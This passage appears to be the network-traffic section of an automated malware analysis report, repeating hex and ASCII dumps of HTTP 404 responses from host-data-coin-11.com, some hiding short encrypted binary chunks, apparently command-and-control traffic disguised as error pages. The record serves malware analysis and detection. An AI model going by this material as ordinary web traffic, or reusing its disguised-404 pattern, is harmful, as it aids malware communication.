20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 41 5b bb 06 f5 ee 66 b9 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevA[fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 